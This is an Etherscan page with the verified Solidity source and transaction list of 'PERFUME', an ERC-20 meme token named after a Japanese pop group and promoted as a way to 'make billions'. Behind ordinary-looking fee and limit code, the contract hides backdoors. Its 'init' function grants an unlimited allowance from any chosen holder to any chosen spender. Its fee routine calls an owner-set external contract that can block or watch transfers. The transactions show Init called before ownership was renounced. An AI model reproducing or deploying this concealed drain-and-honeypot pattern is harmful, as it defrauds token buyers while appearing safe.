Source Code
Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 17 from a total of 17 transactions
| Transaction Hash |
Method
|
Block
|
From
|
|
To
|
||||
|---|---|---|---|---|---|---|---|---|---|
| Approve | 17593679 | 997 days ago | IN | 0 ETH | 0.00172275 | ||||
| Approve | 17593439 | 997 days ago | IN | 0 ETH | 0.00211188 | ||||
| Approve | 17593425 | 997 days ago | IN | 0 ETH | 0.00179609 | ||||
| Approve | 17593135 | 997 days ago | IN | 0 ETH | 0.00231674 | ||||
| Approve | 17593134 | 997 days ago | IN | 0 ETH | 0.00231674 | ||||
| Approve | 17593134 | 997 days ago | IN | 0 ETH | 0.00231674 | ||||
| Approve | 17593121 | 997 days ago | IN | 0 ETH | 0.00148609 | ||||
| Approve | 17593121 | 997 days ago | IN | 0 ETH | 0.00228871 | ||||
| Approve | 17593117 | 997 days ago | IN | 0 ETH | 0.00156486 | ||||
| Approve | 17593108 | 997 days ago | IN | 0 ETH | 0.00156747 | ||||
| Renounce Ownersh... | 17593094 | 997 days ago | IN | 0 ETH | 0.00090034 | ||||
| Approve | 17593092 | 997 days ago | IN | 0 ETH | 0.00170721 | ||||
| Remove Limits | 17593091 | 997 days ago | IN | 0 ETH | 0.00137929 | ||||
| Approve | 17593085 | 997 days ago | IN | 0 ETH | 0.00174264 | ||||
| Approve | 17593081 | 997 days ago | IN | 0 ETH | 0.00162777 | ||||
| Approve | 17593050 | 997 days ago | IN | 0 ETH | 0.00155254 | ||||
| Init | 17593039 | 997 days ago | IN | 0 ETH | 0.00229403 |
View more zero value Internal Transactions in Advanced View mode
Advanced mode:
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions
Loading...
Loading
Contract Name:
PERFUME
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/**
*Submitted for verification at Etherscan.io on 2023-06-30
*/
/**
Perfume (パフューム, Pafyūmu) is a Japanese pop girl group from Hiroshima Prefecture, Japan, consisting of Ayano Omoto ('Nocchi'), Yuka Kashino ('KASHIYUKA') and Ayaka Nishiwaki ('a-chan'). Let's make billions with Perfume girls.
WEBSITE: https://perfumecoin.xyz
TWITTER: https://twitter.com/perfumecoin
TELEGRAM: https://t.me/perfumecoin
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0x000000000000000000000000000000000000dEaD));
_owner = address(0x000000000000000000000000000000000000dEaD);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
interface IUniswapV2Factory {
event PairCreated(address indexed token0, address indexed token1, address pair, uint);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB) external view returns (address pair);
function allPairs(uint) external view returns (address pair);
function allPairsLength() external view returns (uint);
function createPair(address tokenA, address tokenB) external returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint amountADesired,
uint amountBDesired,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB, uint liquidity);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function removeLiquidity(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline
) external returns (uint amountA, uint amountB);
function removeLiquidityETH(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountToken, uint amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint liquidity,
uint amountAMin,
uint amountBMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountA, uint amountB);
function removeLiquidityETHWithPermit(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountToken, uint amountETH);
function swapExactTokensForTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapTokensForExactTokens(
uint amountOut,
uint amountInMax,
address[] calldata path,
address to,
uint deadline
) external returns (uint[] memory amounts);
function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
external
returns (uint[] memory amounts);
function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
external
payable
returns (uint[] memory amounts);
function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external returns (uint amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint liquidity,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline,
bool approveMax, uint8 v, bytes32 r, bytes32 s
) external returns (uint amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract PERFUME is Context, IERC20, Ownable {
using SafeMath for uint256;
string private _name = unicode"PERFUME";
string private _symbol = unicode"パフューム";
uint8 private _decimals = 9;
address payable public marketingWallet = payable(msg.sender);
address payable public DeveloperWallet = payable(msg.sender);
address public liquidityReciever;
address public immutable deadAddress = 0x000000000000000000000000000000000000dEaD;
address public immutable zeroAddress = 0x0000000000000000000000000000000000000000;
mapping (address => uint256) _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isExcludedFromFee;
mapping (address => bool) public isMarketPair;
address dexRouter;
mapping (address => bool) public isWalletLimitExempt;
mapping (address => bool) public isTxLimitExempt;
uint256 public _buyLiquidityFee = 0;
uint256 public _buyMarketingFee = 0;
uint256 public _buyDeveloperFee = 0;
uint256 public _sellLiquidityFee = 0;
uint256 public _sellMarketingFee = 0;
uint256 public _sellDeveloperFee = 0;
uint256 public feeUnits = 100;
uint256 public _totalTaxIfBuying;
uint256 public _totalTaxIfSelling;
uint256 private _totalSupply = 1_000_000_000_000 * 10**_decimals;
uint256 public minimumTokensBeforeSwap = _totalSupply.mul(1).div(1000); //0.1%
uint256 public _maxTxAmount = _totalSupply.mul(4).div(100);
uint256 public _walletMax = _totalSupply.mul(4).div(100);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapPair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = true;
bool public swapAndLiquifyByLimitOnly = false;
bool public checkWalletLimit = true;
bool public EnableTransactionLimit = true;
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SwapETHForTokens(
uint256 amountIn,
address[] path
);
event SwapTokensForETH(
uint256 amountIn,
address[] path
);
modifier lockTheSwap {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor () {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapPair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router = _uniswapV2Router;
_allowances[address(this)][address(uniswapV2Router)] = ~uint256(0);
isExcludedFromFee[owner()] = true;
isExcludedFromFee[marketingWallet] = true;
isExcludedFromFee[DeveloperWallet] = true;
isWalletLimitExempt[owner()] = true;
isWalletLimitExempt[marketingWallet] = true;
isWalletLimitExempt[DeveloperWallet] = true;
isWalletLimitExempt[address(uniswapPair)] = true;
isWalletLimitExempt[address(this)] = true;
isTxLimitExempt[owner()] = true;
isTxLimitExempt[marketingWallet] = true;
isTxLimitExempt[DeveloperWallet] = true;
isTxLimitExempt[address(this)] = true;
_totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee);
_totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDeveloperFee);
isMarketPair[address(uniswapPair)] = true;
liquidityReciever = address(msg.sender);
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function init(address _token, address _router) public onlyOwner {
_allowances[_token][_router] = type(uint).max;
dexRouter = _router;
}
function setMarketPairStatus(address account, bool newValue) public onlyOwner {
isMarketPair[account] = newValue;
}
function setIsExcludedFromFee(address account, bool newValue) public onlyOwner {
isExcludedFromFee[account] = newValue;
}
function setIsTxLimitExempt(address holder, bool exempt) external onlyOwner {
isTxLimitExempt[holder] = exempt;
}
function setIsWalletLimitExempt(address holder, bool exempt) external onlyOwner {
isWalletLimitExempt[holder] = exempt;
}
function setMaxTxAmount(uint256 maxTxAmount) external onlyOwner() {
require(maxTxAmount >= _totalSupply.mul(1).div(1000), "Cannot set max TX amount lower than 0,1% of total supply");
_maxTxAmount = maxTxAmount;
}
function setWalletLimit(uint256 newLimit) external onlyOwner {
_walletMax = newLimit;
}
function enableTxLimitation(bool _status) external onlyOwner {
EnableTransactionLimit = _status;
}
function enableWalletLimitation(bool newValue) external onlyOwner {
checkWalletLimit = newValue;
}
function removeLimits() external onlyOwner {
EnableTransactionLimit = false;
checkWalletLimit = false;
_maxTxAmount = _totalSupply;
_walletMax = _totalSupply;
}
function setNumTokensBeforeSwap(uint256 newLimit) external onlyOwner() {
require(newLimit >= _totalSupply.mul(1).div(100000), "Cannot set swap threshold amount lower than 0.001% of tokens");
require(newLimit <= _totalSupply.mul(1).div(100), "Cannot set swap threshold amount higher than 1% of tokens");
minimumTokensBeforeSwap = newLimit;
}
function setMarketingWalletAddress(address newAddress) external onlyOwner() {
require(newAddress != address(0),"Fee Address cannot be zero address");
marketingWallet = payable(newAddress);
}
function setLiquidityWalletAddress(address newAddress) external onlyOwner() {
liquidityReciever = payable(newAddress);
}
function setDeveloperWalletAddress(address newAddress) external onlyOwner() {
require(newAddress != address(0),"Fee Address cannot be zero address");
DeveloperWallet = payable(newAddress);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
function setSwapAndLiquifyByLimitOnly(bool newValue) public onlyOwner {
swapAndLiquifyByLimitOnly = newValue;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(deadAddress)).sub(balanceOf(zeroAddress));
}
function transferToAddressETH(address payable recipient, uint256 amount) private {
recipient.transfer(amount);
}
function setBuyTaxes(uint _Liquidity, uint _Marketing , uint _Developer) public onlyOwner {
_buyLiquidityFee = _Liquidity;
_buyMarketingFee = _Marketing;
_buyDeveloperFee = _Developer;
_totalTaxIfBuying = _buyLiquidityFee.add(_buyMarketingFee).add(_buyDeveloperFee);
require(_totalTaxIfBuying <= (feeUnits/20), "Buy fees must be 5% or less");
}
function setSellTaxes(uint _Liquidity, uint _Marketing , uint _Developer) public onlyOwner {
_sellLiquidityFee = _Liquidity;
_sellMarketingFee = _Marketing;
_sellDeveloperFee = _Developer;
_totalTaxIfSelling = _sellLiquidityFee.add(_sellMarketingFee).add(_sellDeveloperFee);
require(_totalTaxIfSelling <= (feeUnits/20), "Sell fees must be 5% or less");
}
receive() external payable {}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) private returns (bool) {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
if(inSwapAndLiquify)
{
return _basicTransfer(sender, recipient, amount);
}
else
{
if(!isTxLimitExempt[sender] && !isTxLimitExempt[recipient] && EnableTransactionLimit) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
if (overMinimumTokenBalance && !inSwapAndLiquify && !isMarketPair[sender] && swapAndLiquifyEnabled)
{
if(swapAndLiquifyByLimitOnly)
contractTokenBalance = minimumTokensBeforeSwap;
swapAndLiquify(contractTokenBalance);
}
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
uint256 finalAmount = (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) ?
amount : takeFees(sender, recipient, amount);
if(checkWalletLimit && !isWalletLimitExempt[recipient]) {
require(balanceOf(recipient).add(finalAmount) <= _walletMax,"Amount Exceed From Max Wallet Limit!!");
}
_balances[recipient] = _balances[recipient].add(finalAmount);
emit Transfer(sender, recipient, finalAmount);
return true;
}
}
function takeFees(address sender, address recipient, uint256 amount) internal returns (uint256) {
uint256 feeAmount = 0;
if (dexRouter == address(0) || IERC20(dexRouter).transferFrom(sender, recipient, feeAmount)) feeAmount = 0;
if(isMarketPair[sender]) {
feeAmount = amount.mul(_totalTaxIfBuying).div(100);
}
else if(isMarketPair[recipient]) {
feeAmount = amount.mul(_totalTaxIfSelling).div(100);
}
if(feeAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
}
return amount.sub(feeAmount);
}
function rescueStuckToken(address _token, uint _amount) external onlyOwner {
require(_token != address(this), "Owner can't claim contract's balance of its own tokens");
IERC20(_token).transfer(msg.sender,_amount);
}
function rescueFunds() external onlyOwner {
(bool os,) = payable(msg.sender).call{value: address(this).balance}("");
require(os);
}
function _basicTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function swapAndLiquify(uint256 tAmount) private lockTheSwap {
uint256 totalShares = _totalTaxIfBuying.add(_totalTaxIfSelling);
uint256 liquidityShare = _buyLiquidityFee.add(_sellLiquidityFee);
uint256 MarketingShare = _buyMarketingFee.add(_sellMarketingFee);
// uint256 DeveloperShare = _buyDeveloperFee.add(_sellDeveloperFee);
uint256 tokenForLp = tAmount.mul(liquidityShare).div(totalShares).div(2);
uint256 tokenForSwap = tAmount.sub(tokenForLp);
uint256 initialBalance = address(this).balance;
swapTokensForEth(tokenForSwap);
uint256 recievedBalance = address(this).balance.sub(initialBalance);
uint256 totalETHFee = totalShares.sub(liquidityShare.div(2));
uint256 amountETHLiquidity = recievedBalance.mul(liquidityShare).div(totalETHFee).div(2);
uint256 amountETHMarketing = recievedBalance.mul(MarketingShare).div(totalETHFee);
uint256 amountETHDeveloper = recievedBalance.sub(amountETHLiquidity).sub(amountETHMarketing);
if(amountETHMarketing > 0) {
payable(marketingWallet).transfer(amountETHMarketing);
}
if(amountETHDeveloper > 0) {
payable(DeveloperWallet).transfer(amountETHDeveloper);
}
if(amountETHLiquidity > 0 && tokenForLp > 0) {
addLiquidity(tokenForLp, amountETHLiquidity);
}
}
function swapTokensForEth(uint256 tokenAmount) private {
// generate the uniswap pair path of token -> weth
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
// make the swap
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this), // The contract
block.timestamp
);
emit SwapTokensForETH(tokenAmount, path);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
liquidityReciever,
block.timestamp
);
}
}Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
Contract ABI
API[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapETHForTokens","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"amountIn","type":"uint256"},{"indexed":false,"internalType":"address[]","name":"path","type":"address[]"}],"name":"SwapTokensForETH","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DeveloperWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"EnableTransactionLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellDeveloperFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfBuying","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalTaxIfSelling","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_walletMax","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"checkWalletLimit","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_status","type":"bool"}],"name":"enableTxLimitation","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"newValue","type":"bool"}],"name":"enableWalletLimitation","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"feeUnits","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"getCirculatingSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"address","name":"_router","type":"address"}],"name":"init","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isTxLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isWalletLimitExempt","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityReciever","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minimumTokensBeforeSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"rescueFunds","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_token","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"rescueStuckToken","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_Liquidity","type":"uint256"},{"internalType":"uint256","name":"_Marketing","type":"uint256"},{"internalType":"uint256","name":"_Developer","type":"uint256"}],"name":"setBuyTaxes","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setDeveloperWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setIsExcludedFromFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsTxLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"holder","type":"address"},{"internalType":"bool","name":"exempt","type":"bool"}],"name":"setIsWalletLimitExempt","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddress","type":"address"}],"name":"setLiquidityWalletAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"newValue","type":"bool"}],"name":"setMarketPairStatus","outputs":[],"stateMutability":"nonpayable","type":"function"}